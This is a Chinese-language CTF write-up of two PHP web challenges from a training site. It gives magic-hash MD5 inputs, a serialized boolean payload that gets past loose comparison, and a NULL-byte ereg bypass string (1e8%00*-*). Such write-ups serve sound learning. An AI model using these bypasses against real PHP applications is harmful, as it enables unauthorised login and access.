1. 程式人生 > >CTF web 201808

CTF web 201808

管理系統 ont 特性 valid pass name class die 返回值

實驗吧--天網管理系統

考察點:md5特性、反序列化漏洞,php布爾弱類型

查看源碼,發現

技術分享圖片

表示username的md5值==0,這裏利用了md5的一個漏洞,凡是0e開頭的字符串會被解釋為0,百度一下即可

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020

得到新鏈接/user.php?fame=hjkleffifer

技術分享圖片

這是一個反序列化問題,根據提示,可能跟布爾值有關,

bool的true和任意字符串弱類型相等


所以構造的user(bool)和password(bool)的值為true即可。

1 <?php
2 $payload = array(‘user‘=>true,‘pass‘ => true);
3 echo serialize($payload);
4 ?>

得到結果:

a:2:{s:4:"user";b:1;s:4:"pass";b:1;}

將其作為password,即可得到flag

實驗吧--Once More

發現代碼:

<?php
if (isset ($_GET[‘password‘])) {
    if (ereg ("^[a-zA-Z0-9]+$", $_GET[‘password‘]) === FALSE)
    {
        echo ‘<p>You password must be alphanumeric</p>‘;
    }
    else if (strlen($_GET[‘password‘]) < 8 && $_GET[‘password‘] > 9999999)
    {
        if (strpos
($_GET[‘password‘], ‘*-*‘) !== FALSE) { die(‘Flag: ‘ . $flag); } else { echo(‘<p>*-* have not been found</p>‘); } } else { echo ‘<p>Invalid password</p>‘; } } ?>

查看代碼發現,首先ereg判斷password的值是不是數字或字母,繼續strlen()限制了長度小於8並且大小必須大於9999999,繼續strpos()對password進行匹配,必須含有*-*,最終才輸出flag

ereg函數存在NULL截斷漏洞,導致了正則過濾被繞過,所以可以使用%00截斷正則匹配。對於另一個難題可以使用科學計數法表示,計算器或電腦表達10的的冪是一般是e,也就是1.99714e13=19971400000000,所以構造1e8即100000000 > 9999999,再加上*-*。於是乎構造password=1e8%00*-*,成功得到答案

方法二:直接將url改為http://ctf5.shiyanbar.com/web/more.php?password[]

因為在這裏如果 $_GET[‘password’]為數組,則返回值為NULL ,而在嚴格比較下,null不等於false

附:php類型比較表 http://php.net/manual/zh/types.comparisons.php

  php函數漏洞集合 https://blog.csdn.net/qq_35078631/article/details/75200157

CTF web 201808